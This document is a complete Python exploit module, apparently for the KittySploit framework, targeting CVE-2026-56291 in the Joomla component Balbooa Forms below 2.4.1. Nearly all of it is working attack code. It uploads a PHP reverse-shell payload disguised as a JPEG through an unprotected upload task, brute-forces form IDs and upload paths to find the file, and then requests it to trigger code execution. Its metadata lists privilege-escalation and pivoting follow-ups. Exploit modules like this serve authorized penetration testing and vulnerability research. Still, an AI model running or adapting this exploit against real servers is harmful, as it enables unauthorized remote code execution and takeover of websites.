Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-56291 — Balbooa Forms (com_baforms) unauthenticated file upload RCE."""

from __future__ import annotations

import json
from typing import Any, Dict, List, Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.joomla_probe import BAFORMS_PATCHED_VERSION, BAFORMS_OPTION, Joomla

_BAFORMS_TASK = "form.uploadAttachmentFile"
_UPLOAD_DIRS = (
    "/images/baforms/uploads/form-{fid}/",
    "/images/baforms/uploads/form-0/",
    "/images/baforms/uploads/",
)


class Module(Exploit, Http_client, Joomla):
    __info__ = {
        "name": "Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload RCE",
        "description": (
            "CVE-2026-56291 — Balbooa Forms (com_baforms) < 2.4.1 exposes "
            "form.uploadAttachmentFile without CSRF or permission checks. "
            "Uploads the configured framework PHP payload (e.g. reverse_tcp) "
            "with attacker-controlled extension to images/baforms/uploads/."
        ),
        "author": ["Phil Taylor", "KittySploit Team"],
        "cve": ["CVE-2026-56291"],
        "arch": [Arch.PHP],
        "platform": Platform.PHP,
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://www.cve.org/CVERecord?id=CVE-2026-56291",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-56291",
        ],
        "tags": [
            "joomla",
            "balbooa",
            "baforms",
            "file-upload",
            "rce",
            "unauthenticated",
            "cve-2026-56291",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 12,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["joomla", "php"],
                "confidence_min_any": {"joomla": 0.3, "php": 0.3},
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    form_id_max = OptPort(10, "Highest form_id to try (1..N)", False, advanced=True)
    skip_version_check = OptBool(
        False,
        "Attempt exploit when component version appears patched or unknown",
        False,
        advanced=True,
    )

    def _form_ids(self) -> range:
        upper = max(1, min(int(self.form_id_max or 10), 50))
        return range(1, upper + 1)

    def _upload_path(self, form_id: int) -> str:
        return (
            f"/index.php?option={BAFORMS_OPTION}"
            f"&task={_BAFORMS_TASK}&form_id={form_id}&format=json"
        )

    def _payload_php(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        php = str(payload or "").strip()
        if not php:
            raise ValueError("No payload configured — set payloads/singles/cmd/php/reverse_tcp")
        return php

    def _build_upload_body(self) -> bytes:
        source = self._payload_php()
        if not source.startswith("<?php"):
            source = f"<?php {source}"
        if not source.rstrip().endswith("?>"):
            source = source.rstrip() + " ?>"
        return source.encode("utf-8", errors="replace")

    @staticmethod
    def _parse_saved_name(response) -> Optional[str]:
        if not response or int(response.status_code or 0) not in (200, 201):
            return None
        text = (response.text or "").strip()
        if not text:
            return None
        try:
            data = json.loads(text)
        except (ValueError, json.JSONDecodeError):
            return None
        if isinstance(data, dict):
            return data.get("filename") or data.get("name")
        return None

    def _shell_paths(self, form_id: int, filename: str) -> List[str]:
        paths: List[str] = []
        for template in _UPLOAD_DIRS:
            base = template.replace("{fid}", str(form_id))
            if not base.endswith("/"):
                base += "/"
            paths.append(f"{base}{filename}")
        return paths

    def _candidates(self, stem: str, ext: str = "", saved: Optional[str] = None) -> List[str]:
        names: List[str] = []
        if saved:
            names.append(saved)
        if ext:
            names.append(f"{stem}.{ext}")
        for item in (f"{stem}.php", f"{stem}.phtml", stem):
            if item not in names:
                names.append(item)
        return names

    def _path_reachable(self, shell_path: str) -> bool:
        try:
            response = self.http_request(
                method="GET",
                path=shell_path,
                allow_redirects=True,
                timeout=int(self.timeout or 15),
            )
        except Exception:
            return True
        if not response:
            return False
        return int(response.status_code or 0) in (200, 500)

    def _trigger_payload(self, shell_path: str) -> bool:
        try:
            response = self.http_request(
                method="GET",
                path=shell_path,
                allow_redirects=True,
                timeout=int(self.timeout or 20),
            )
        except Exception:
            return True
        return bool(response)

    def _upload_payload(self, body: bytes, stem: str) -> Optional[Dict[str, Any]]:
        for form_id in self._form_ids():
            upload_path = self._upload_path(form_id)

            for ext in ("php", "phtml"):
                response = self.http_request(
                    method="POST",
                    path=upload_path,
                    data={"form_id": str(form_id), "name": stem, "ext": ext},
                    files={"file": ("img.jpg", body, "image/jpeg")},
                    timeout=int(self.timeout or 20),
                )
                saved = self._parse_saved_name(response)
                for name in self._candidates(stem, ext=ext, saved=saved):
                    for shell_path in self._shell_paths(form_id, name):
                        if self._path_reachable(shell_path):
                            return {
                                "path": shell_path,
                                "filename": name,
                                "form_id": form_id,
                                "vector": "name_ext_fields",
                            }

            for fname in (f"{stem}.php", f"{stem}.phtml"):
                response = self.http_request(
                    method="POST",
                    path=upload_path,
                    data={"form_id": str(form_id)},
                    files={"file": (fname, body, "image/jpeg")},
                    timeout=int(self.timeout or 20),
                )
                if not response or int(response.status_code or 0) not in (200, 201):
                    continue
                for shell_path in self._shell_paths(form_id, fname):
                    if self._path_reachable(shell_path):
                        return {
                            "path": shell_path,
                            "filename": fname,
                            "form_id": form_id,
                            "vector": "direct_filename",
                        }
        return None

    def check(self):
        joomla = self.probe_joomla()
        if not joomla.get("found"):
            return {"vulnerable": False, "reason": "Joomla not detected", "confidence": "low"}

        baforms = self.probe_baforms()
        if not baforms.get("found"):
            return {
                "vulnerable": False,
                "reason": "Balbooa Forms (com_baforms) not detected",
                "confidence": "low",
            }

        version = baforms.get("version")
        if version and self.baforms_is_patched(version) and not bool(self.skip_version_check):
            return {
                "vulnerable": False,
                "reason": f"Balbooa Forms {version} >= {BAFORMS_PATCHED_VERSION} (patched)",
                "confidence": "high",
            }

        evidence = baforms.get("evidence") or BAFORMS_OPTION
        confidence = "high" if version else "medium"
        return {
            "vulnerable": True,
            "reason": (
                f"Balbooa Forms {version or 'unknown'} at {evidence}; "
                f"CVE-2026-56291 if < {BAFORMS_PATCHED_VERSION}"
            ),
            "confidence": confidence,
        }

    def run(self):
        try:
            print_status("CVE-2026-56291 — Balbooa Forms unauthenticated file upload RCE")

            if not str(self.payload or "").strip():
                print_error("No payload configured")
                return False

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            body = self._build_upload_body()
            stem = self.random_stem("ks")
            print_status(f"Uploading framework payload as {stem} via form.uploadAttachmentFile")

            uploaded = self._upload_payload(body, stem)
            if not uploaded:
                print_error("Upload failed — target may be patched or form_id out of range")
                return False

            shell_path = uploaded["path"]
            print_success(
                f"Payload uploaded ({uploaded['vector']}, form_id={uploaded['form_id']}): "
                f"{shell_path}"
            )

            print_status(f"Triggering payload: GET {shell_path}")
            self._trigger_payload(shell_path)
            print_success("Payload triggered — verify listener/session for reverse_tcp")
            self.vulnerable()
            return True

        except ValueError as exc:
            print_error(str(exc))
            return False
        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False